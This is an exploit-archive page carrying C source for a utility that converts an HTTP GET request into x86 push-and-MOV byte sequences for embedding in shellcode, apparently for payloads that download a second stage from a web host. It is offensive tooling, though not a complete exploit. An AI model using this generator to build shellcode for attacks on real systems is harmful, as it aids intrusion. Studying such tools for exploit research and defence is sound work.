exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

gen_httpreq.c

gen_httpreq.c
Posted Nov 7, 2006
Authored by Izik

Small utility designed for generating HTTP/1.x requests for shellcodes.

tags | web, shellcode
SHA-256 | 1c5e4b2c58884668e99c7345778c7905c9db49401533dd861cc9e4d916255aa3

gen_httpreq.c

Change Mirror Download
/*
* gen_httpreq.c, utility for generating HTTP/1.x requests for shellcodes
*
* SIZES:
*
* HTTP/1.0 header request size - 18 bytes+
* HTTP/1.1 header request size - 26 bytes+
*
* NOTE: The length of the selected HTTP header is stored at EDX register.
* Thus the generated MOV instruction (to EDX/DX/DL) is size-based.
*
* - izik@tty64.org
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdarg.h>
#include <string.h>

#define X86_PUSH \
0x68

#define X86_MOV_TO_DL(x) \
printf("\t\"\\xb2\\x%02x\"\n", x & 0xFF);

#define X86_MOV_TO_DX(x) \
printf("\t\"\\x66\\xba\\x%02x\\x%02x\"\n", \
(x & 0xFF), ((x >> 8) & 0xFF));

#define X86_MOV_TO_EDX(x) \
printf("\t\"\\xba\\x%02x\\x%02x\\x%02x\\x%02x\"\n", \
(x & 0xFF), ((x >> 8) & 0xFF), ((x >> 16) & 0xFF), ((x >> 24) & 0xFF));

void usage(char *);
int printx(char *fmt, ...);

int main(int argc, char **argv) {

if (argc < 2) {
usage(argv[0]);
return -1;
}

if (argv[2][0] != '/') {

fprintf(stderr, "filename must begin with '/' as any sane URL! (e.g. /index.html)\n");

return -1;
}

if (!strcmp(argv[1], "-0")) {

return printx("GET %s HTTP/1.0\r\n\r\n", argv[2]);
}

if (!strcmp(argv[1], "-1")) {

if (argc != 4) {

fprintf(stderr, "missing <host>, required parameter for HTTP/1.1 header! (e.g. www.tty64.org)\n");

return -1;
}

return printx("GET %s HTTP/1.1\r\nHost: %s\r\n\r\n", argv[2], argv[3]);
}

fprintf(stderr, "%s: unknown http protocol, try -0 or -1\n", argv[1]);

return -1;
}

/*
* usage, display usage screen
* * basename, barrowed argv[0]
*/

void usage(char *basename) {

printf(
"usage: %s <-0|-1> <filename> [<host>]\n\n"
"\t -0, HTTP/1.0 GET request\n"
"\t -1, HTTP/1.1 GET request\n"
"\t <filename>, given filename (e.g. /shellcode.bin)\n"
"\t <host>, given hostname (e.g. www.tty64.org) [required for HTTP 1.1]\n\n",
basename);

return ;
}

/*
* printx, fmt string. generate the shellcode chunk
* * fmt, given format string
*/

int printx(char *fmt, ...) {
va_list ap;
char buf[256], pad_buf[4], *w_buf;
int pad_length, buf_length, i, tot_length;

memset(buf, 0x0, sizeof(buf));

va_start(ap, fmt);
vsnprintf(buf, sizeof(buf), fmt, ap);
va_end(ap);

buf_length = strlen(buf);

printf("\nURL: %s\n", buf);
printf("Header Length: %d bytes\n", buf_length);

for (i = 1; buf_length > (i * 4); i++) {
pad_length = ((i+1)*4) - buf_length;
}

printf("Padding Length: %d bytes\n\n", pad_length);

tot_length = buf_length + pad_length;

w_buf = buf;

if (pad_length) {

w_buf = calloc(tot_length, sizeof(char));

if (!w_buf) {

perror("calloc");
return -1;
}

i = index(buf, '/') - buf;

memset(pad_buf, 0x2f, sizeof(pad_buf));

memcpy(w_buf, buf, i);
memcpy(w_buf+i, pad_buf, pad_length);
memcpy(w_buf+pad_length+i, buf+i, buf_length - i);
}

for (i = tot_length - 1; i > -1; i-=4) {

printf("\t\"\\x%02x\\x%02x\\x%02x\\x%02x\\x%02x\" // pushl $0x%02x%02x%02x%02x\n",
X86_PUSH, w_buf[i-3], w_buf[i-2], w_buf[i-1], w_buf[i], w_buf[i-3], w_buf[i-2], w_buf[i-1], w_buf[i]);
}

if (pad_length) {

free(w_buf);
}

//
// The EDX register is assumed to be zero-out within the shellcode.
//

if (tot_length < 256) {

// 8bit value

X86_MOV_TO_DL(tot_length);

} else if (tot_length < 655356) {

// 16bit value

X86_MOV_TO_DX(tot_length);

} else {

// 32bit value, rarely but possible ;-)

X86_MOV_TO_EDX(tot_length);

}

fputc('\n', stdout);

return 1;
}


Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close